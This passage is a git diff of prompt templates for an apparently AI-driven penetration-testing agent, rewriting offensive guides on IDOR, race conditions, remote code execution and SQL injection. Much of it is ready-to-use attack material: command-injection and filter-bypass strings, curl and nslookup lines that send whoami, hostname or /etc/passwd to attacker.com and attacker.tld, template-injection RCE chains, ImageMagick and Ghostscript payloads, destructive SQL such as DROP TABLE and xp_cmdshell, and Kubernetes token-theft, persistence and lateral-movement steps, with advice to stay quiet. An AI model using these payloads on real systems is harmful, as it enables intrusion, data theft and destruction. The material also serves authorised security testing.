IDOR + SQLi: Extract all IDs then access +- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered +- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to +- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources +- IDOR + Race: bypass spot checks with simultaneous requests -To confirm IDOR: -1. Access data/function without authorization -2. Demonstrate data belongs to another user -3. Show consistent access pattern -4. Prove it's not intended functionality -5. Document security impact +1. Demonstrate access to an object not owned by the caller (content or metadata). +2. Show the same request fails with appropriately enforced authorization when corrected. +3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL). +4. Document tenant boundary violations (if applicable). +5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner). -NOT IDOR if: -- Public data by design -- Proper authorization checks -- Only affects own resources -- Rate limiting prevents exploitation -- Data is sanitized/limited +- Public/anonymous resources by design +- Soft-privatized data where content is already public +- Idempotent metadata lookups that do not reveal sensitive content +- Correct row-level checks enforced across all channels -- Personal data exposure -- Financial information theft -- Account takeover -- Business data leak -- Compliance violations (GDPR, HIPAA) +- Cross-account data exposure (PII/PHI/PCI) +- Unauthorized state changes (transfers, role changes, cancellations) +- Cross-tenant data leaks violating contractual and regulatory boundaries +- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage -1. Test all ID parameters systematically -2. Look for patterns in IDs -3. Check export/download functions -4. Test different HTTP methods -5. Monitor for blind IDOR via timing -6. Check mobile APIs separately -7. Look for backup/debug endpoints -8. Test file path traversal -9. Automate enumeration carefully -10. Chain with other vulnerabilities +1. Always test list/search/export endpoints first; they are rich ID seeders. +2. Build a reusable ID corpus from logs, notifications, emails, and client bundles. +3. Toggle content-types and transports; authorization middleware often differs per stack. +4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children. +5. In multi-tenant apps, vary org headers, subdomains, and path params independently. +6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks. +7. Inspect gateways for header trust and cache key configuration. +8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding. +9. Use timing/size/ETag differentials for blind confirmation when content is masked. +10. Prove impact with precise before/after diffs and role-separated evidence. -IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access. +Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable. diff --git a/strix/prompts/vulnerabilities/race_conditions.jinja b/strix/prompts/vulnerabilities/race_conditions.jinja index 6dba6134b..f6ada156a 100644 --- a/strix/prompts/vulnerabilities/race_conditions.jinja +++ b/strix/prompts/vulnerabilities/race_conditions.jinja @@ -1,194 +1,164 @@ -RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY - -Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating. - - -- Payment/checkout processes -- Coupon/discount redemption -- Account balance operations -- Voting/rating systems -- Limited resource allocation -- User registration (username claims) -- Password reset flows -- File upload/processing -- API rate limits -- Loyalty points/rewards -- Stock/inventory management -- Withdrawal functions - +RACE CONDITIONS + +Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent. + + +- Read–modify–write sequences without atomicity or proper locking +- Multi-step operations (check → reserve → commit) with gaps between phases +- Cross-service workflows (sagas, async jobs) with eventual consistency +- Rate limits, quotas, and idempotency controls implemented at the edge only + + + +1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache). +2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses. +3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections). +4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility. + -Multi-step processes with gaps between: -1. Check phase (validation/verification) -2. Use phase (action execution) -3. Write phase (state update) - -Look for: -- "Check balance then deduct" -- "Verify coupon then apply" -- "Check inventory then purchase" -- "Validate token then consume" +- Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume" +- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced +- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB) +- Map cross-service steps: when is state written vs published, and what retries/compensations exist - -- Parallel requests with same data -- Rapid sequential requests -- Monitor for inconsistent states -- Database transaction analysis -- Response timing variations - + +- Sequential request fails but parallel succeeds +- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates +- Distinct response shapes/timings for simultaneous vs sequential requests +- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs + + + +- Payments: auth/capture/refund/void; credits/loyalty points; gift cards +- Coupons/discounts: single-use codes, stacking checks, per-user limits +- Quotas/limits: API usage, inventory reservations, seat counts, vote limits +- Auth flows: password reset/OTP consumption, session minting, device trust +- File/object storage: multi-part finalize, version writes, share-link generation +- Background jobs: export/import create/finalize endpoints; job cancellation/approve +- GraphQL mutations and batch operations; WebSocket actions + - - -Python script for Burp Suite Turbo Intruder: -```python -def queueRequests(target, wordlists): - engine = RequestEngine(endpoint=target.endpoint, - concurrentConnections=30, - requestsPerConnection=100, - pipeline=False) - - for i in range(30): - engine.queue(target.req, gate='race1') - - engine.openGate('race1') -``` - - - -- Browser developer tools (multiple tabs) -- curl with & for background: curl url & curl url & -- Python asyncio/aiohttp -- Go routines -- Node.js Promise.all() - - - - - -- Double withdrawal -- Multiple discount applications -- Balance transfer duplication -- Payment bypass -- Cashback multiplication - - - -- Multiple password resets -- Account creation with same email -- 2FA bypass -- Session generation collision - - - -- Inventory depletion bypass -- Rate limit circumvention -- File overwrite -- Token reuse - - + + +- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections +- Last-byte synchronization: hold requests open and release final byte simultaneously +- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter + + + +- Reuse the same idempotency key across different principals/paths if scope is inadequate +- Hit the endpoint before the idempotency store is written (cache-before-commit windows) +- App-level dedup drops only the response while side effects (emails/credits) still occur + + + +- Lost update: read-modify-write increments without atomic DB statements +- Partial two-phase workflows: success committed before validation completes +- Unique checks done outside a unique index/upsert: create duplicates under load + + + +- Saga/compensation timing gaps: execute compensation without preventing the original success path +- Eventual consistency windows: act in Service B before Service A's write is visible +- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers + + + +- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions +- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate + + - -HTTP/2 multiplexing for true simultaneous delivery: -- All requests in single TCP packet -- Microsecond precision -- Bypass even mutex locks - - - -Send all but last byte, then: -1. Hold connections open -2. Send final byte simultaneously -3. Achieve nanosecond precision - - - -Pre-establish connections: -1. Create connection pool -2. Prime with dummy requests -3. Send race requests on warm connections - + +- Omit If-Match/ETag where optional; supply stale versions if server ignores them +- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST) + + + +- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences +- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks +- Lock granularity issues: row vs table; application locks held only in-process + + + +- Redis locks without NX/EX or fencing tokens allow multiple winners +- Locks stored in memory on a single node; bypass by hitting other nodes/regions + - -- Multiple source IPs -- Different user sessions -- Varied request headers -- Geographic distribution - - - -- Measure server processing time -- Align requests with server load -- Exploit maintenance windows -- Target async operations - +- Distribute across IPs, sessions, and user accounts to evade per-entity throttles +- Switch methods/content-types/endpoints that trigger the same state change via different code paths +- Intentionally trigger timeouts to provoke retries that cause duplicate side effects +- Degrade the target (large payloads, slow endpoints) to widen race windows - - -"Limited to 1 per user" → Send N parallel requests -Results: N successful purchases - - - -Transfer $100 from account with $100 balance: -- 10 parallel transfers -- Each checks balance: $100 available -- All proceed: -$900 balance - - - -Single vote limit: -- Send multiple vote requests simultaneously -- All pass validation -- Multiple votes counted - - + + +- Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity +- Persisted queries and aliases can hide multiple state changes in one request + + + +- Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked + + + +- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently + + + +- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic + + + + +- Race + Business logic: violate invariants (double-refund, limit slicing) +- Race + IDOR: modify or read others' resources before ownership checks complete +- Race + CSRF: trigger parallel actions from a victim to amplify effects +- Race + Caching: stale caches re-serve privileged states after concurrent changes + -To confirm race condition: -1. Demonstrate parallel execution success -2. Show single request fails -3. Prove timing dependency -4. Document financial/security impact -5. Achieve consistent reproduction +1. Single request denied; N concurrent requests succeed where only 1 should. +2. Durable state change proven (ledger entries, inventory counts, role/flag changes). +3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs. +4. Evidence across channels (e.g., REST and GraphQL) if applicable. +5. Include before/after state and exact request set used. -NOT a race condition if: -- Idempotent operations -- Proper locking mechanisms -- Atomic database operations -- Queue-based processing -- No security impact +- Truly idempotent operations with enforced ETag/version checks or unique constraints +- Serializable transactions or correct advisory locks/queues +- Visual-only glitches without durable state change +- Rate limits that reject excess with atomic counters -- Financial loss (double spending) -- Resource exhaustion -- Data corruption -- Business logic bypass -- Privilege escalation +- Financial loss (double spend, over-issuance of credits/refunds) +- Policy/limit bypass (quotas, single-use tokens, seat counts) +- Data integrity corruption and audit trail inconsistencies +- Privilege or role errors due to concurrent updates -1. Use HTTP/2 for better synchronization -2. Automate with Turbo Intruder -3. Test payment flows extensively -4. Monitor database locks -5. Try different concurrency levels -6. Test async operations -7. Look for compensating transactions -8. Check mobile app endpoints -9. Test during high load -10. Document exact timing windows +1. Favor HTTP/2 with warmed connections; add last-byte sync for precision. +2. Start small (N=5–20), then scale; too much noise can mask the window. +3. Target read–modify–write code paths and endpoints with idempotency keys. +4. Compare REST vs GraphQL vs WebSocket; protections often differ. +5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics. +6. Check unique constraints and upsert usage; avoid relying on pre-insert checks. +7. Use correlation IDs and logs to prove concurrent interleaving. +8. Widen windows by adding server load or slow backend dependencies. +9. Validate on production-like latency; some races only appear under real load. +10. Document minimal, repeatable request sets that demonstrate durable impact. -Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable. +Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants. diff --git a/strix/prompts/vulnerabilities/rce.jinja b/strix/prompts/vulnerabilities/rce.jinja index c3023a581..653f438f5 100644 --- a/strix/prompts/vulnerabilities/rce.jinja +++ b/strix/prompts/vulnerabilities/rce.jinja @@ -1,206 +1,154 @@ -REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION - -RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques. - - -- System commands: ping, nslookup, traceroute, whois -- File operations: upload, download, convert, resize -- PDF generators: wkhtmltopdf, phantomjs -- Image processors: ImageMagick, GraphicsMagick -- Media converters: ffmpeg, sox -- Archive handlers: tar, zip, 7z -- Version control: git, svn operations -- LDAP queries -- Database backup/restore -- Email sending functions - - - +REMOTE CODE EXECUTION (RCE) + +RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed. + + +- OS command execution via wrappers (shells, system utilities, CLIs) +- Dynamic evaluation: template engines, expression languages, eval/vm +- Insecure deserialization and gadget chains across languages +- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg) +- SSRF→internal services that expose execution primitives (FastCGI, Redis) +- Container/Kubernetes escalation from app RCE to node/cluster compromise + + + +1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks. +2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps. +3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress. +4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary. + + + -- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10) -- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 || -- PowerShell: ;Start-Sleep -s 10 # +- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise +- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1 - -- nslookup $(whoami).attacker.com -- ping $(hostname).attacker.com -- curl http://$(cat /etc/passwd | base64).attacker.com - + +- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %} +- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL) + -- Direct: ;cat /etc/passwd -- Encoded: ;cat /etc/passwd | base64 -- Hex: ;xxd -p /etc/passwd +- Direct: ;id;uname -a;whoami +- Encoded: ;(id;hostname)|base64; hex via xxd -p - - - - -; id -| id -|| id -& id -&& id -`id` -$(id) -${IFS}id - - - -- Space bypass: ${IFS}, $IFS$9, <, %09 (tab) -- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i -- Command substitution: $(a=c;b=at;$a$b /etc/passwd) -- Encoding: echo 'aWQ=' | base64 -d | sh -- Case variation: WhOaMi (Windows) - - - - - -- eval() with user input -- system(), exec(), shell_exec(), passthru() -- preg_replace with /e modifier -- assert() with string input -- unserialize() exploitation - - - -- eval(), exec() -- subprocess.call(shell=True) -- os.system() -- pickle deserialization -- yaml.load() - - - -- Runtime.getRuntime().exec() -- ProcessBuilder -- ScriptEngine eval -- JNDI injection -- Expression Language injection - - - -- eval() -- child_process.exec() -- vm.runInContext() -- require() pollution - - - - - -Works in multiple contexts: -;id;#' |id| #" |id| # -{% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %} - - - -- DNS exfiltration: $(whoami).evil.com -- HTTP callbacks: curl evil.com/$(id) -- Time delays for boolean extraction -- Write to web root - - - -1. Command injection → Write webshell -2. File upload → LFI → RCE -3. XXE → SSRF → internal RCE -4. SQLi → INTO OUTFILE → RCE - - - - - -push graphic-context -viewbox 0 0 640 480 -fill 'url(https://evil.com/image.jpg"|id > /tmp/output")' -pop graphic-context - - - -%!PS -/outfile (%pipe%id) (w) file def - - - -#EXTM3U -#EXT-X-TARGETDURATION:1 -#EXTINF:1.0, -concat:|file:///etc/passwd - - - -\immediate\write18{id > /tmp/pwn} -\input{|"cat /etc/passwd"} - - - - + + + + +- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^ + + + +- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes +- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...) + + + +- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered +- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered + + + +- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations +- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b +- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...))) + + + + +- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug +- Move from expression to code execution primitives (read file, run command) +- Minimal probes: +{% raw %} +Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}} +Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} +Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } +EJS: <%= global.process.mainModule.require('child_process').execSync('id') %> +{% endraw %} + + + +- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable +- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC +- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins +- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches +- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec + + + +- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats +{% raw %} +Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context +{% endraw %} +- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators +- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs) +- LaTeX: \write18/--shell-escape, \input piping; pandoc filters +- ffmpeg: concat/protocol tricks mediated by compile-time flags + + + +- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts) +- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed +- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally + + + -- Privileged containers: mount host filesystem -- Docker.sock exposure -- Kernel exploits -- /proc/self/exe overwrite +- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print) +- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged -- Service account tokens -- Kubelet API access -- Container breakout to node +- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC +- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth +- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow - - - -- Unicode normalization -- Double URL encoding -- Case variation mixing -- Null bytes: %00 -- Comments: /**/i/**/d -- Alternative commands: hostname vs uname -n -- Path traversal: /usr/bin/id vs id - + + + +- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null) +- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD +- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens + + + +- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers +- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses + -To confirm RCE: -1. Execute unique command (id, hostname) -2. Demonstrate file system access -3. Show command output retrieval -4. Achieve reverse shell -5. Prove consistent execution +1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution. +2. Show command context (uid, gid, cwd, env) and controlled output. +3. Demonstrate persistence or file write under application constraints. +4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed. +5. Keep PoCs minimal and reproducible across runs and transports. -NOT RCE if: -- Only crashes application -- Limited to specific commands -- Sandboxed/containerized properly -- No actual command execution -- Output not retrievable +- Only crashes or timeouts without controlled behavior +- Filtered execution of a limited command subset with no attacker-controlled args +- Sandboxed interpreters executing in a restricted VM with no IO or process spawn +- Simulated outputs not derived from executed commands -- Complete system compromise -- Data exfiltration -- Lateral movement -- Backdoor installation -- Service disruption +- Remote system control under application user; potential privilege escalation to root +- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement +- Cluster compromise when combined with container/Kubernetes misconfigurations -1. Try all delimiters: ; | || & && -2. Test both Unix and Windows commands -3. Use time-based for blind confirmation -4. Chain with other vulnerabilities -5. Check sudo permissions post-exploit -6. Look for SUID binaries -7. Test command substitution variants -8. Monitor DNS for blind RCE -9. Try polyglot payloads first -10. Document full exploitation path +1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise. +2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control. +3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates. +4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads. +5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice. +6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies. +7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops. -Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection. +RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path. diff --git a/strix/prompts/vulnerabilities/sql_injection.jinja b/strix/prompts/vulnerabilities/sql_injection.jinja index b354073ff..e7cc18f5d 100644 --- a/strix/prompts/vulnerabilities/sql_injection.jinja +++ b/strix/prompts/vulnerabilities/sql_injection.jinja @@ -1,215 +1,151 @@ -SQL INJECTION - MASTER CLASS TECHNIQUES - -SQL Injection = direct database access = game over. - - -- URL parameters: ?id=1 -- POST body parameters -- HTTP headers: User-Agent, Referer, X-Forwarded-For -- Cookie values -- JSON/XML payloads -- File upload names -- Session identifiers - - - -- Time-based: ' AND SLEEP(5)-- -- Boolean-based: ' AND '1'='1 vs ' AND '1'='2 -- Error-based: ' (provoke verbose errors) -- Out-of-band: DNS/HTTP callbacks -- Differential response: content length changes -- Second-order: stored and triggered later - - - -- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END) -- GROUP BY: GROUP BY id HAVING 1=1-- -- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))-- -- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1 -- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1)) - - - - -' UNION SELECT null-- -' UNION SELECT null,null-- -' UNION SELECT 1,2,3-- -' UNION SELECT 1,@@version,3-- -' UNION ALL SELECT 1,database(),3-- - - - -' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - - - -' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -' AND ASCII(SUBSTRING((SELECT database()),1,1))>97-- -' AND (SELECT COUNT(*) FROM users)>5-- - - - -' AND IF(1=1,SLEEP(5),0)-- -' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -'; WAITFOR DELAY '0:0:5'-- (MSSQL) -'; SELECT pg_sleep(5)-- (PostgreSQL) - - - - - -'; DROP TABLE users-- -'; INSERT INTO admins VALUES ('hacker','password')-- -'; UPDATE users SET password='hacked' WHERE username='admin'-- - - - -MySQL: -' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))-- -' UNION SELECT LOAD_FILE('/etc/passwd')-- - -MSSQL: -'; EXEC xp_dirtree '\\attacker.com\share'-- -'; EXEC xp_cmdshell 'nslookup attacker.com'-- - -PostgreSQL: -'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')-- - - - -MySQL: -' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- - -MSSQL: -'; EXEC xp_cmdshell 'type C:\Windows\win.ini'-- - -PostgreSQL: -'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'-- - - - - - -- Comments: /**/ -- Parentheses: UNION(SELECT) -- Backticks: UNION`SELECT` -- Newlines: %0A, %0D -- Tabs: %09 - - - -- Case variation: UnIoN SeLeCt -- Comments: UN/**/ION SE/**/LECT -- Encoding: %55nion %53elect -- Double words: UNUNIONION SESELECTLECT - - - -- HTTP Parameter Pollution: id=1&id=' UNION SELECT -- JSON/XML format switching -- Chunked encoding -- Unicode normalization -- Scientific notation: 1e0 UNION SELECT - - - - +SQL INJECTION + +SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect. + + +- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle +- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins +- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters + + + +1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values. +2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle. +3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS. +4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible. + + + +- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart) +- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements) +- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators +- Batch/bulk endpoints and report generators that embed filters directly + + + +- Error-based: provoke type/constraint/parser errors revealing stack/version/paths +- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag +- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise +- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives + + + +- Determine column count and types via ORDER BY n and UNION SELECT null,... +- Align types with CAST/CONVERT; coerce to text/json for rendering +- When UNION is filtered, consider error-based or blind channels + + + -- Version: @@version -- Database: database() -- User: user(), current_user() -- Tables: information_schema.tables -- Columns: information_schema.columns +- Version/user/db: @@version, database(), user(), current_user() +- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping +- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv) +- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a')) +- Time: SLEEP(n), BENCHMARK +- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak - -- Version: @@version -- Database: db_name() -- User: user_name(), system_user -- Tables: sysobjects WHERE xtype='U' -- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE - - -- Version: version() -- Database: current_database() -- User: current_user -- Tables: pg_tables -- Command execution: CREATE EXTENSION +- Version/user/db: version(), current_user, current_database() +- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2 +- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions +- Time: pg_sleep(n) +- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export +- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction + +- Version/db/user: @@version, db_name(), system_user, user_name() +- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled +- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE +- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays +- Error-based: convert/parse, divide by zero, FOR XML PATH leaks + + -- Version: SELECT banner FROM v$version -- Database: SELECT ora_database_name FROM dual -- User: SELECT user FROM dual -- Tables: all_tables +- Version/db/user: banner from v$version, ora_database_name, user +- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent) +- Time: dbms_lock.sleep(n) +- Error-based: to_number/to_date conversions, XMLType +- File: UTL_FILE with directory objects (privileged) - - - - -{% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %} -{% raw %}{"$where": "this.username == 'admin'"}{% endraw %} -{% raw %}{"username": {"$regex": "^admin"}}{% endraw %} - - - -{users(where:{OR:[{id:1},{id:2}]}){id,password}} -{__schema{types{name,fields{name}}}} - - - - -SQLMap flags: -- Risk/Level: --risk=3 --level=5 -- Bypass WAF: --tamper=space2comment,between -- OS Shell: --os-shell -- Database dump: --dump-all -- Specific technique: --technique=T (time-based) - + + + +- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators +- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize +- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END) + + + +- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params +- MSSQL: xp_dirtree \\\\.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://.attacker'); MySQL: LOAD_FILE with UNC + + + +- Auth bypass: inject OR-based tautologies or subselects into login checks +- Privilege changes: update role/plan/feature flags when UPDATE is injectable +- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal +- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow + + + +- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space) +- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding +- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e) +- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens +- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape + + + +- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses +- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers +- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments +- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...)) + + + +- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels +- 